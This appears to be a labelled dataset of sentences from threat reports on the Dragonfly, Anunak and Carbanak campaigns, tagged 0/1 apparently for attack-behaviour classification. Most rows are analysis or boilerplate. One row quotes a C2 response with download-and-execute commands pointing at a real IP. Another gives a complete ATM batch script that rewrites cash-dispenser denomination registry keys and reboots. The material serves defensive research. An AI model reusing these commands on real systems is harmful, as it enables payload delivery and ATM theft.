Dragonfly_Threat_Against_Western_Energy_Suppliers-122	identifiant=51032 _ 1799883375637&version = i2pver HTTP response example HTTP/1.1 200 OK Date : Tue , 28 Jan 2014 05:59:58 GMT Vary : Accept - Encoding Content - Length : 324 Content - Type : text / html X - Powered - By : PHP/5.3.10 - 1ubuntu3.9 Via : 1.1 host.alexsieff.com work:3|downexec [ http://]93.188.161.235/check2/muees27jxt / shot.jpg ; work:5|downexec [ http://]93.188.161.235/check2/muees27jxt / tl.jpg ; work:7|downexec [ http://]93.188.161.235/check2/muees27jxt / fl.jpg ; work:103|downexec [ http://]93.188.161.235/check2/muees27jxt / pdump.jpg ; work:118|downexec [ http://]93.188.161.235/check2/muees27jxt / fl.jpg ; The POST data contains the operating system version and a derived number .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-123	User - Agent tokens used in C&C requests are hard - coded .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-124	The following two examples have been observed .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-125	Regular expression for URL or HTTP request - line searches .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-126	Regular expression for file system searches .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-127	Karagany Yara rule : Symantec Security Response  Symantec protects the world 's information and is the global leader in security , backup , and availability solutions .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-128	Our innovative products and services protect people and information in any environment - from the smallest mobile device to the enterprise data center to cloud - based systems .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-129	Our industry - leading expertise in protecting data , identities , and interactions gives our customers confidence in a connected world .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-130	More information is available at www.symantec.com or by connecting with Symantec at go.symantec.com/socialmedia .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-131	Headquartered in Mountain View , Calif. , Symantec has operations in 40 countries .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-132	More information is available at www.symantec.com .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-133	For specific country offices and contact numbers , please visit our website .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-134	Symantec World Headquarters 350 Ellis St.	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-135	Mountain View , CA 94043 USA + 1 ( 650 ) 527 - 8000 1 ( 800 ) 721 - 3934 www.symantec.com Copyright 2014 Symantec Corporation .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-136	All rights reserved .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-137	Symantec , the Symantec Logo , and the Checkmark Logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S.	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-138	and other countries .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-139	Other names may be trademarks of their respective owners .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-140	Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-141	NO WARRANTY .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-142	The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-143	Any use of the technical documentation or the information contained herein is at the risk of the user .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-144	Documentation may include technical or other inaccuracies or typographical errors .	0
Dragonfly_Threat_Against_Western_Energy_Suppliers-145	Symantec reserves the right to make changes without prior notice .	0
Anunak_APT_against_financial_institutions-1	Hereby Group - IB and Fox - IT inform that : This report describes the details and type of op- erations carried out by an organized criminal group that focuses on financial industry , such as banks and payment providers , retail industry and news , media and PR companies .	0
Anunak_APT_against_financial_institutions-2	The group has its origin in more common financial fraud including theft from con- sumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .	0
Anunak_APT_against_financial_institutions-3	After the arrests of Carberp group members in Russia , some of the members were out of work , however , their experience gained from many years of crime has allowed them to enter a new niche .	0
Anunak_APT_against_financial_institutions-4	One of the members quickly realized that they can steal $ 2000 a thousand times , and earn $ 2 million , but also they can steal it in one time and immediately get it with much less effort .	0
Anunak_APT_against_financial_institutions-5	The anti - fraud measures employed by banks has pushed the criminals to search for new ways to make money with less bar- riers , compromising and modifying or taking data from banks , payment providers , retail and media/ PR companies are some of these methods .	0
Anunak_APT_against_financial_institutions-6	From 2013 an organized criminal group intensi- fied its activity focused on banks and electronic pay- ment systems in Russia and in the post - Soviet space .	0
Anunak_APT_against_financial_institutions-7	The key is that fraud occurs within the corporate network using internal payment gateways and in- ternal banking systems .	0
Anunak_APT_against_financial_institutions-8	Thus money is stolen from the banks and payment systems , and not from their customers .	0
Anunak_APT_against_financial_institutions-9	While this is their main and most lucra- tive activity , the gang has also ventured into other areas including the compromise of media groups and other organizations for industrial espionage and likely a trading advantage on the stock market .	0
Anunak_APT_against_financial_institutions-10	In cases where the group got access to the government agency networks their aim was espionage related .	0
Anunak_APT_against_financial_institutions-11	The organized criminal group backbone are citizens of both Russian and Ukrainian origin , but the group also sources a number of mainstream and specialized services from individuals and groups originating from Russia , Ukraine and Belarus .	0
Anunak_APT_against_financial_institutions-12	The average sum of theft in the Russian terri- tory and in the post - Soviet space is $ 2 million per incident .	0
Anunak_APT_against_financial_institutions-13	Since 2013 they have successfully gained access to networks of more than 50 Russian banks and 5 payment systems , and 2 of these institutions were deprived of their banking license .	0
Anunak_APT_against_financial_institutions-14	To date the total amount of theft is over 1 billion rubles ( about 25 million dollars ) , most of it has been stolen in the second half of 2014 .	0
Anunak_APT_against_financial_institutions-15	The average time from the moment of penetration into the financial institutions internal network till successful theft is 42 days .	0
Anunak_APT_against_financial_institutions-16	As a result of access to internal bank networks the attackers also managed to gain access to ATM management infrastructure and infect those sys- tems with their own malicious software that further allows theft from the banks ATM systems on the attackers command .	0
Anunak_APT_against_financial_institutions-17	Since 2014 the organized criminal group mem- bers began actively taking an interest in US and Eu- ropean based retail organizations .	0
Anunak_APT_against_financial_institutions-18	While they were already familiar with POS malware and compromis- ing POS terminals , the widespread media attention around the Target breach and other related breaches were the reason for this move .	0
Anunak_APT_against_financial_institutions-19	While the scale of breaches in this industry is still relatively low , with at least 3 successful card breaches and over a dozen retailers compromised this activity is quickly becom- ing a lucrative endeavor for this group .	0
Anunak_APT_against_financial_institutions-20	To penetrate into the internal networks this organized criminal group employs targeted emailing ( spear phishing ) and infections sources from other botnets .	0
Anunak_APT_against_financial_institutions-21	This is the main reason why the group is keeping in touch with owners of large botnets .	0
Anunak_APT_against_financial_institutions-22	Since August 2014 the group began to create their own large botnet using a mass emailing , but not using typical exploit driveby infections .	0
Anunak_APT_against_financial_institutions-23	This last move is likely to reduce the need for external contacts .	0
Anunak_APT_against_financial_institutions-24	The first successful bank robbery was committed by this group in January 2013 .	0
Anunak_APT_against_financial_institutions-25	"In all first cases the attackers used the program RDPdoor for remote access to the bank network and the program "" MBR Eraser "" to remove traces and to crack Windows computers and servers ."	1
Anunak_APT_against_financial_institutions-26	Both programs were used by the members of the Carberp criminal group under the guidance of a person named Germes .	0
Anunak_APT_against_financial_institutions-27	To reduce the risk of losing access to the internal bank network the attackers , in addition to malicious programs , were also used for remote access legitimate pro- grams such as Ammy Admin and Team Viewer .	0
Anunak_APT_against_financial_institutions-28	Lat- er the attackers completely abandoned from usage of RDPdoor and Team Viewer .	0
Anunak_APT_against_financial_institutions-29	In addition to banking and payment systems , hackers got access to e - mail servers to control all internal communications .	1
Anunak_APT_against_financial_institutions-30	This approach allowed them to find out that the anomalous activity in the bank network was identified , what technique was used to identify this activity and what measures the bank employees took to solve the problem .	0
Anunak_APT_against_financial_institutions-31	Email control was successfully installed regardless of used email system , MS Exchange or Lotus .	0
Anunak_APT_against_financial_institutions-32	This approach allowed them to take countermeasures that created for bank and payment system employees the feeling that the problem had been solved .	0
Anunak_APT_against_financial_institutions-33	The main steps of the attack progression are the following ones : To carry out target attacks in 2014 the hackers have finalized development of their core malware Anunak that is used along with the following tools .	0
Anunak_APT_against_financial_institutions-34	"According to our laboratory classification the main malware is "" Anunak "" ."	0
Anunak_APT_against_financial_institutions-35	This trojan is used for target attacks only , mainly on banks and payment systems .	0
Anunak_APT_against_financial_institutions-36	Target usage of this program allows it to remain poorly explored , providing it a good surviv- ability inside corporate networks .	0
Anunak_APT_against_financial_institutions-37	The source code of the bank trojan program Carberp was used in some places of this malware .	0
Anunak_APT_against_financial_institutions-38	""" Anunak "" has the following feature set ."	0
Anunak_APT_against_financial_institutions-39	There is the ability to download arbitrary exe- cutable files from the management server and run them .	1
Anunak_APT_against_financial_institutions-40	"One of these files is the program "" AmmyAd- min "" that may be run with the arguments "" -service "" and "" -nogui "" that force it to start as a service without user interface ."	0
Anunak_APT_against_financial_institutions-41	""" AmmyAdmin "" allows to connect with another computer that has the same software through the server "" rl.ammyy.com "" using the IP address and the unique identifier ."	0
Anunak_APT_against_financial_institutions-42	"As a result , the attacker gets remote access to the user computer with the running program "" AmmyAdmin "" bypassing firewalls ."	1
Anunak_APT_against_financial_institutions-43	The window screenshot is shown in the figure below .	0
Anunak_APT_against_financial_institutions-44	When the attackers gain access to servers running operating systems of the Linux family they use SSH backdoor that transmits to the malicious server the login / password data used to access the servers and provides attackers remote access to the servers .	1
Anunak_APT_against_financial_institutions-45	To provide access to the server of interest the at- tackers may appropriately modify rules for firewalls Microsoft TMG , CISCO , etc .	1
Anunak_APT_against_financial_institutions-46	"When the attackers yet had no major malware that would secretly install the program "" AmmyAd- min "" and report to the attackers a remote access password , they used a malicious program known as "" Barus "" ."	0
Anunak_APT_against_financial_institutions-47	This malware is used rarely and the last time we met it in 2013 .	0
Anunak_APT_against_financial_institutions-48	This malicious program is developed by Russian - speaking authors .	0
Anunak_APT_against_financial_institutions-49	"In the control panel you can notice a field "" Ammy ID "" , its usage allowed the attackers to connect remotely ."	0
Anunak_APT_against_financial_institutions-50	At the very beginning of their activity in 2013 due to lack of the target Trojan the attackers began to distribute Andromeda and Pony .	0
Anunak_APT_against_financial_institutions-51	They distributed these malware using Driveby through a bunch of Neutrino Exploit Kit exploits as shown in the figure below .	0
Anunak_APT_against_financial_institutions-52	It is interesting that in the autumn 2013 they used the site http://php.net/ as traffic source to Magnitude EK .	0
Anunak_APT_against_financial_institutions-53	They redirected the traffic from this resource since July 2013 , but this fact was discov- ered much later .	0
Anunak_APT_against_financial_institutions-54	"The name of one of the streams to distribute the malware is "" LOL BANK FUCKIUNG "" that corresponded to the attacker activities ."	0
Anunak_APT_against_financial_institutions-55	Parallel to this technique they also use another infection method , which was one of the principal methods .	0
Anunak_APT_against_financial_institutions-56	The main method of distribution is send- ing emails with malicious attachments on behalf of the Central Bank of the Russian Federation , a poten- tial client or an real counterparty ( at first the attack- ers had cracked this counterparty account , then they used emailing with the cracked contact list ) .	0
Anunak_APT_against_financial_institutions-57	Another used method is to install a special malware to carry out targeted attacks via another malware that might appear in the local network by accident .	0
Anunak_APT_against_financial_institutions-58	To find such malicious programs the criminal group keeps in touch with several owners of large botnets that massively distributes their mal- ware .	0
Anunak_APT_against_financial_institutions-59	The attackers buy from these botnet owners the information about IP - addresses of computers where the botnet owners have installed malware and then check whether the IP - address belongs to the financial and government institutions .	0
Anunak_APT_against_financial_institutions-60	If the mal- ware is in the subnet of interest , the attackers pay the large botnet owner for installation of their target malware .	0
Anunak_APT_against_financial_institutions-61	Such partner relations were established with owners of botnets Zeus , Shiz Ranbyus .	0
Anunak_APT_against_financial_institutions-62	All of these trojans are bank Trojans , their usage is ex- plained by the previously established relationships .	0
Anunak_APT_against_financial_institutions-63	In late 2013 the hacker under the alias Dinhold be- gan to build his own botnet using modified Carberp , having uploaded its source code for public access .	0
Anunak_APT_against_financial_institutions-64	The attackers were trying to create similar relations with this hacker , but in 2014 he was arrested , having not developed his botnet up to the required level .	0
Anunak_APT_against_financial_institutions-65	To check whether the IP - address belongs to the desired network the following script is used .	0
Anunak_APT_against_financial_institutions-66	The most dangerous emailings are those that are sent on behalf of partners with whom financial and government institutions communicates permanently by email .	0
Anunak_APT_against_financial_institutions-67	"An example of such emailing occurred on Septem- ber 25 , 2014 , at 14:11 , from the e - mail address "" Elina Shchekina < e.shekina@rbkmoney.com > "" with the subject "" Updated agree- ment version "" ."	0
Anunak_APT_against_financial_institutions-68	"The attachment "" agreement.doc "" exploits the vul- nerability CVE-2012 - 2539 and CVE-2012 - 0158 ."	0
Anunak_APT_against_financial_institutions-69	The emailing was conducted for more than 70 addresses of various compa- nies ( where multiple recipient addresses may be within one company ) .	0
Anunak_APT_against_financial_institutions-70	The letter with malicious attachment ( md5 : AA36BA9F- 4DE5892F1DD427B7B2100B06 ) in the archive with a password from a potential client was sent to a bank manager after a pre- liminary telephone conversation with him .	0
Anunak_APT_against_financial_institutions-71	The call origin is Saint Petersburg .	0
Anunak_APT_against_financial_institutions-72	"Contents of a text file named "" реквизиты.doc "" ( partner de- tais.doc ) "" Company Our Century "" , Ltd."	0
Anunak_APT_against_financial_institutions-73	109387 , Russia , Moscow , Anosov str . , 24 , office 409 Tel .	0
Anunak_APT_against_financial_institutions-74	( 495 ) 124 - 99 - 77 Fax : ( 495)124 - 99 - 77 Mobile ( 962 ) 7135296 E - mail : x60x@nxt .	0
Anunak_APT_against_financial_institutions-75	ru INN 7329001307 KPP 732901001 Account 40702810613310001709 Branch of VTB 24 ( JSC ) , Moscow Correspondent account 30101810700000000955 BIC 043602955 A letter on behalf of the Central Bank of Russia with a malicious attachment ( md5 : 8FA296EFAF87FF4D- 9179283D42372C52 ) exploited the vulnerability CVE-2012- 2539 in order to execute arbi- trary code .	0
Anunak_APT_against_financial_institutions-76	"There were also other exam- ples of emails with malicious attachments , such as emailing with the file "" 001 ."	0
Anunak_APT_against_financial_institutions-77	"photo.exe "" ."	0
Anunak_APT_against_financial_institutions-78	"A more detailed list of such attachments you can see in the Table "" Email attachments "" ."	0
Anunak_APT_against_financial_institutions-79	Availability of access to bank internal networks opens great opportunities for the hackers .	0
Anunak_APT_against_financial_institutions-80	One of these opportunities is access to ATMs from spe- cial network segments that had to be isolated .	0
Anunak_APT_against_financial_institutions-81	It is confirmed that this criminal group gained access to 52 ATMs .	0
Anunak_APT_against_financial_institutions-82	The amount of damage exceeds 50 million rubles .	0
Anunak_APT_against_financial_institutions-83	As a result of access to ATMs , depending on the ATM model , hackers used different patterns .	0
Anunak_APT_against_financial_institutions-84	Having access , the attackers downloaded mali- cious scripts and changed denominations of issued banknotes in the ATM operating system registry .	1
Anunak_APT_against_financial_institutions-85	As a result , for query to get 10 notes with denomination of 100 roubles the attackers received 10 banknotes with denomination of 5,000 roubles .	0
Anunak_APT_against_financial_institutions-86	The used malicious script and program were developed for the platform Wincor .	0
Anunak_APT_against_financial_institutions-87	The malicious script contains the following commands .	0
Anunak_APT_against_financial_institutions-88	"Contents of the file "" 1.bat "" REG ADD "" HKEY_LOCAL_MACHINE\SOFTWARE\ Wincor Nixdorf\ProTopas\CurrentVersion\LYNX- PAR\CASH_DISPENSER "" /v VALUE_1 /t REG_SZ /d "" 5000 "" /f REG ADD "" HKEY_LOCAL_MACHINE\SOFTWARE\ Wincor Nixdorf\ProTopas\CurrentVersion\LYNX- PAR\CASH_DISPENSER "" /v VALUE_2 /t REG_SZ /d "" 1000 "" /f REG ADD "" HKEY_LOCAL_MACHINE\SOFTWARE\ Wincor Nixdorf\ProTopas\CurrentVersion\LYNX- PAR\CASH_DISPENSER "" /v VALUE_3 /t REG_SZ /d "" 500 "" /f REG ADD "" HKEY_LOCAL_MACHINE\SOFTWARE\ Wincor Nixdorf\ProTopas\CurrentVersion\LYNX- PAR\CASH_DISPENSER "" /v VALUE_4 /t REG_SZ /d "" 100 "" /f REG ADD "" HKEY_LOCAL_MACHINE\SOFTWARE\ Wincor Nixdorf\ProTopas\CurrentVersion\LYNX- PAR\CASH_DISPENSER "" /v VALUE_1 /t REG_SZ /d "" 100 "" /f REG ADD "" HKEY_LOCAL_MACHINE\SOFTWARE\ Wincor Nixdorf\ProTopas\CurrentVersion\LYNX- PAR\CASH_DISPENSER "" /v VALUE_4 /t REG_SZ /d "" 5000 "" /f shutdown -r -t 0 –f Execution of this file changed registry keys in the registry branch "" "" HKEY_LOCAL_MACHINE\ SOFTWARE\Wincor Nixdorf\ProTopas\Current- Version\LYNXPAR\CASH_DISPENSER "" "" that are responsible for cassette denominations in an ATM ."	1
Anunak_APT_against_financial_institutions-89	"As a result of this file execution the registry key that is in charge of the cassette number 1 ( VALUE_1 ) is takes the value "" 100 "" , and the registry key respon- sible for the cassette number 4 ( VALUE_4 ) is set to "" 5000 "" ."	0
Anunak_APT_against_financial_institutions-90	Then the command to restart the computer is issued .	0
Anunak_APT_against_financial_institutions-91	"The registry key reference values : If the ATM actual load corresponds to the refer- ence one and registry keys have been changed , then the banknotes from the cassette No.1 will be issued with denomination "" 5000 "" instead of "" 100 "" ."	0
Anunak_APT_against_financial_institutions-92	In addition , the attackers used a modified debug program that allows by the command to issue mon- ey from the dispenser .	0
Anunak_APT_against_financial_institutions-93	The original debug program issues money through the dispenser only when the open ATM housing and the vault door are fixed .	0
Anunak_APT_against_financial_institutions-94	"In order to ensure money issuance from the closed ATM the attackers had to modify the original program "" KDIAG32 "" ( the original file : size of 1,128,960 MD5 4CC1A6E049942EB- DA395244C74179EFF ) ."	0
Anunak_APT_against_financial_institutions-95	"A comparison of the original version of the pro- gram with the modified version showed that the only difference is in ignoring error "" "" Door not opened or missing ! "" "" ."	0
Anunak_APT_against_financial_institutions-96	The figure below shows an error message that will be never displayed to the user in the file under investigation .	0
Anunak_APT_against_financial_institutions-97	All traces found during investigation of one incident showed that the same criminal group had worked .	0
Anunak_APT_against_financial_institutions-98	Ammy Admin was used for remote access , the same SSHD backdoor was installed on Unix servers and , In addi- tion , it was loaded from the same hacked server as in other cases of trojan Anunak usage .	0
Anunak_APT_against_financial_institutions-99	However , in this case Androm- eda is used as the main trojan instead of Anunak .	0
Anunak_APT_against_financial_institutions-100	The man- agement servers were located in Kazakhstan , Germany and Ukraine .	0
Anunak_APT_against_financial_institutions-101	Check of the manage- ment servers showed that it was the hosting Bulletproof that , in addition to servers , provides a service of traffic proxying through its infrastructure as well as TOR and VPN usage , so this pattern is significantly differs from the Anunak host- ing patern .	0
Anunak_APT_against_financial_institutions-102	Check of money cashout showed that the same cashout criminal group had worked as for Anunak and this fact again confirmed their cooperation .	0
Anunak_APT_against_financial_institutions-103	Obtained Andromeda trojan copies were being distributed from August 2014 by e - mail .	0
Anunak_APT_against_financial_institutions-104	"The value 754037e7be8f61cbb1b85ab46c7da77d , which is the MD5 hash of the string "" go fuck yourself "" , was used as the RC4 encryption key ."	0
Anunak_APT_against_financial_institutions-105	As a result of this distri- bution from August to late October the Andromeda botnet rose up to 260,000 bots .	0
Anunak_APT_against_financial_institutions-106	Successful infection in one subnet resulted in sending such letters to other bank employees .	0
Anunak_APT_against_financial_institutions-107	Example of forwarding from an infected bank network to employees of another bank is shown below .	0
Anunak_APT_against_financial_institutions-108	As a result of this radial mailing many oil and gas companies , banks and government agencies were in- fected .	0
Anunak_APT_against_financial_institutions-109	In Russia at least 15 banks and two payment systems were infected this way .	0
Anunak_APT_against_financial_institutions-110	"Letters with similar attachments were being dis- tributed with the following subjects : "" My new photo "" "" Alert Transactions Report by users from 2014- 09 - 28 to 2014 - 09 - 28 "" Previously , it should be noted the fact that the process of stolen money withdrawal ( cashout ) was differed , firstly by the theft method , secondly by the victim type ( a bank or a payment system ) , thirdly by the total stolen sum ."	0
Anunak_APT_against_financial_institutions-111	The victims by their type were divided rather by counterparty types and by limitations imposed by operation with the counterparties .	0
Anunak_APT_against_financial_institutions-112	For example , all payments were required to go through a certain pool of mediators .	0
Anunak_APT_against_financial_institutions-113	"In addition , the "" improper "" pool of counterparties could cause suspicion and unneces- sary testing ( manual processing of payment orders ) ."	0
Anunak_APT_against_financial_institutions-114	Bank ( amounts up to 100 million roubles ) .	0
Anunak_APT_against_financial_institutions-115	While the attacks in Russia against banks and payment systems have occurred over the past two years , the attacks against the retail industry is only something which started in the second quarter of 2014 .	0
Anunak_APT_against_financial_institutions-116	With at least three confirmed breaches where card track data was obtainedand a total of at least 16 breaches at retail organizations , it is also becoming a serious threat .	0
Anunak_APT_against_financial_institutions-117	Apart from retail organizations it is also known that a number of media and PR companies have been breached in 2014 .	0
Anunak_APT_against_financial_institutions-118	While it is not entirely cer- tain , the type of breaches suggest that the attackers are looking for inside information , a type of indus- trial espionage , allowing them to gain an advantage on the stock market .	0
Anunak_APT_against_financial_institutions-119	As there is nothing specifically missing and the resulting fraud is hard to match with anything , these incidents typically are never linked .	0
Anunak_APT_against_financial_institutions-120	From the retail perspective , the first infections in 2014 were sourced from a botnet which employs a widely deployed crypto - currency mining malware based on the Gozi / ISFB ( banking ) malware family .	0
Anunak_APT_against_financial_institutions-121	Based on our insights we believe during the first half of 2014 over half a million systems had been compromised by this malware from over the whole world , however Russia and a number of post - Soviet states were clean of infections .	0
Anunak_APT_against_financial_institutions-122	To find interesting infections within this large set of compromised systems , the malware extracts relevant information from the systems including Microsoft Windows organization registration information and network/ Windows domain information .	0
Anunak_APT_against_financial_institutions-123	The Gozi / ISFB based malware was used to drop additional components on interesting systems , which included Metasploit / Meterpreter payloads and Anunak variants .	1
Anunak_APT_against_financial_institutions-124	This was one of the main methods for the group using Anunak to obtain in- teresting infections in the middle of 2014 , sourcing infections from other botnet operators . More recent- ly other infection methods , including spear phishing using English language and possibly also usage of the teams own Andromeda , but also SQL injection to breach an organization directly from the outside , has been employed by this team .	0
Anunak_APT_against_financial_institutions-125	The first known attacks with Anunak targeted a specific brand of POS systems which revolved around the Epicor / NSB brand .	0
Anunak_APT_against_financial_institutions-126	To do this Anunak has specific code to target POS devices equipped with this software , which in contrary to the more common memory scanning track data scrapers , logs a wealth of information from the payments done by the cards .	0
Anunak_APT_against_financial_institutions-127	The first case this was seen active was in July 2014 , but it might have been earlier as well .	0
Anunak_APT_against_financial_institutions-128	More recent breaches have used a new custom developed POS malware , which is a more simple but reliable track data memory scraper .	0
Anunak_APT_against_financial_institutions-129	The initial version from the early fall of 2014 used a simple blacklist , scraped every process and dumped track data in plain text .	0
Anunak_APT_against_financial_institutions-130	More recent versions scanned only configuration specified processes and used RC4 to encrypt the extracted track data records on disk .	0
Anunak_APT_against_financial_institutions-131	While the retail industry is one of its main targets due to its payment processing capabilities , other compromises might occur indirectly , for example to obtain databases with information or other informa- tion that is of value to the organized criminal group .	0
Anunak_APT_against_financial_institutions-132	One of the possibilities is obtaining lists of corporate email addresses to have a higher chance of interest- ing infections .	0
Anunak_APT_against_financial_institutions-133	At this moment we have no evidence of successful compromise or theft of banks and payment systems outside of Russia , but several infections in the east of Europe ( specifically Ukraine and Latvia ) were active in 2014 .	0
Anunak_APT_against_financial_institutions-134	These specific infections were related to infrastructure of organizations based in Russia or with significant interests in Russia , thus more likely related to the breaches at the same organization in Russia .	0
Anunak_APT_against_financial_institutions-135	The majority of infections from Europe were from dedicated servers used as exit node for VPN services , the systems infected were likely from Eastern Euro- pean or Russian origin , and possibly test infections from the attackers .	0
Anunak_APT_against_financial_institutions-136	We have no evidence of compro- mises against banks in Western Europe or United States , but it should be noted that the attackers methods could be utilized against banks outside of Russia as well .	0
Anunak_APT_against_financial_institutions-137	The group uses Metasploit as one of their main hacking tools , either stand alone or as part of a framework .	0
Anunak_APT_against_financial_institutions-138	The activity includes port scanning and system reconnaissance , escalating privileges on systems by using for example the recent CVE-2014- 4113 vulnerability , gathering credentials and hop- ping on to other systems and networks .	0
Anunak_APT_against_financial_institutions-139	Metasploit is being used to its full potential with scanning , exploiting , privilege escalation and post exploitation persistence being achieved with its standard toolset .	0
Anunak_APT_against_financial_institutions-140	On interesting and critical systems typical hack- ing tools might be found to establish tunnels out of the network , either tools that are part of the Metasploit framework such as Meterpreter , but also other tools to achieve persistence on those systems .	0
Anunak_APT_against_financial_institutions-141	The connect back methods seen are typically SSL over port 443 , but also DNS based methods were observed .	0
Anunak_APT_against_financial_institutions-142	The attackers use BITS to download files , but also make use of Windows built - in PowerShell to download tools and execute commands .	0
Anunak_APT_against_financial_institutions-143	Finally on the critical systems freshly crypted and non - detected versions of Anunak are deployed , typically these are used in very limited deployments thus their spread is limited and detection by Anti - Virus is very rare .	0
Anunak_APT_against_financial_institutions-144	Various stealth methods including the aforemen- tioned backconnect SSL and DNS tunneling for compromise persistence and data exfiltration are used .	0
Anunak_APT_against_financial_institutions-145	The Anunak malware has multiple ways of connecting to backends , which includes a PHP based backend reachable over HTTP and HTTPS , and a Windows server based component using a propri- etary protocol .	0
Anunak_APT_against_financial_institutions-146	The use of VNC scanning and password brute forcing , the adding of additional administrator accounts , use of RDP Wrapper to allow concurrent RDP sessions are all methods to gain access and achieve persistent access to compromised systems employed by this group .	0
Anunak_APT_against_financial_institutions-147	Additionally various ways of creating incidental and regular screen captures of the desktop of persons of interest within com- promised organizations were methods employed by these attackers .	0
Anunak_APT_against_financial_institutions-148	This also includes video captures made by the Anunak malware , allowing attackers to observe the behavior of users of certain applications .	0
Anunak_APT_against_financial_institutions-149	Group - IB is one of the leading international companies specializing in preventing and investigat- ing high - tech cyber crimes and fraud .	0
Anunak_APT_against_financial_institutions-150	The company offers a range of services on preventing financial and reputational damages , consulting and auditing of information security systems , and on computer forensics .	0
Anunak_APT_against_financial_institutions-151	The company also develops a number of innovative software products used to monitor , detect and prevent emerging cyber threats .	0
Anunak_APT_against_financial_institutions-152	The Group - IB team is made up of experts with unique skills and solid practical experience .	0
Anunak_APT_against_financial_institutions-153	They are internationally certified by CISSP , CISA , CISM , CEH , CWSP , GCFA and also have information security state certificates .	0
Anunak_APT_against_financial_institutions-154	In 2013 , computer secu- rity incident response team CERT - GIB operated by Group - IB became a member of FIRST - Forum of Incident Response and Security Teams .	0
Anunak_APT_against_financial_institutions-155	In 2013 , the company became a member of the international cyber security alliance IMPACT ( In- ternational Multilateral Partnership Against Cyber Threats ) .	0
Anunak_APT_against_financial_institutions-156	www.group-ib.com Fox - IT creates innovative cyber security solutions for a more secure society .	0
Anunak_APT_against_financial_institutions-157	We are dedicated to our clients , our values , and our integrity .	0
Anunak_APT_against_financial_institutions-158	Fox - IT delivers solutions before , during and after attacks .	0
Anunak_APT_against_financial_institutions-159	InTELL is the real - time cyber intelligence product from Fox - IT .	0
Anunak_APT_against_financial_institutions-160	It provides a layered intelligence approach : actionable data feeds into operational risk decision systems .	0
Anunak_APT_against_financial_institutions-161	Real time threat information allows for tactical decisions and mitigation .	0
Anunak_APT_against_financial_institutions-162	InTELL provides a full real - time insight in the global threat landscape .	0
Anunak_APT_against_financial_institutions-163	We base our intelligence around actor attribu- tion .	0
Anunak_APT_against_financial_institutions-164	This angle drives a unique visibility on online threats - InTELL sees threats before they enter the botnet .	0
Anunak_APT_against_financial_institutions-165	Information is delivered through our col- laboration portal , alerting , and through automated feeds powered by industry standard transports .	0
Anunak_APT_against_financial_institutions-166	www.fox-it.com	0
Carbanak_APT_eng-1	From late 2013 onwards , several banks and financial institutions have been attacked by an unknown group of cybercriminals .	0
Carbanak_APT_eng-2	In all these attacks , a similar modus operandi was used .	0
Carbanak_APT_eng-3	According to victims and the law enforcement agencies ( LEAs ) involved in the investigation , this could result in cumulative losses of up to 1 billion USD .	0
Carbanak_APT_eng-4	The attacks are still active .	0
Carbanak_APT_eng-5	This report provides a technical analysis of these attacks .	0
Carbanak_APT_eng-6	The motivation for the attackers , who are making use of techniques commonly seen in Advanced Persistent Threats ( APTs ) , appears to be financial gain as opposed to espionage .	0
Carbanak_APT_eng-7	An analysis of the campaign has revealed that the initial infections were achieved using spear phishing emails that appeared to be legitimate banking communications , with Microsoft Word 97 – 2003 ( .doc ) and Control Panel Applet ( .CPL ) files attached .	0
Carbanak_APT_eng-8	We believe that the attackers also redirected to exploit kits website traffic that related to financial activity .	0
Carbanak_APT_eng-9	The email attachments exploit vulnerabilities in Microsoft Office 2003 , 2007 and 2010 ( CVE-2012 - 0158 and CVE-2013 - 3906 ) and Microsoft Word ( CVE-2014- 1761 ) .	0
Carbanak_APT_eng-10	Once the vulnerability is successfully exploited , the shellcode decrypts and executes the backdoor known as Carbanak .	0
Carbanak_APT_eng-11	Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data exfiltration and to provide remote access to infected machines .	1
Carbanak_APT_eng-12	Once access is achieved , attackers perform a manual reconnaissance of the victim 's networks .	0
Carbanak_APT_eng-13	Based on the results of this operation , the attackers use different lateral movement tools in order to get access to the critical systems in the victim s infrastructure .	0
Carbanak_APT_eng-14	They then install additional software such as the Ammyy Remote Administration Tool , or even compromise SSH servers .	1
Carbanak_APT_eng-15	Notably , some of the latest versions of the analyzed Carbanak malware appear not to use any Carberp source code .	0
Carbanak_APT_eng-16	Once the attackers successfully compromise the victim s network , the primary internal destinations are money processing services , Automated Teller Machines ( ATM ) and financial accounts .	0
Carbanak_APT_eng-17	In some cases , the attackers used the Society for Worldwide Interbank Financial Telecommunication ( SWIFT ) network to transfer money to their accounts .	0
Carbanak_APT_eng-18	In others , Oracle databases were manipulated to open payment or debit card accounts at the same bank or to transfer money between accounts using the online banking system .	0
Carbanak_APT_eng-19	The ATM network was also used to dispense cash from certain ATMs at certain times where money mules were ready to collect it .	0
Carbanak_APT_eng-20	As part of the attack s reconnaissance phase , video recordings of the activities of bank employees , particularly system administrators , were made .	1
Carbanak_APT_eng-21	The videos were sent to the C2 server .	1
Carbanak_APT_eng-22	Please note that the attackers abused the aforementioned services by impersonating legitimate local users who had the permissions to perform the actions later reproduced by the cybercriminals .	0
Carbanak_APT_eng-23	As far as we know , none of the aforementioned services were attacked nor was any specific vulnerability within them exploited .	0
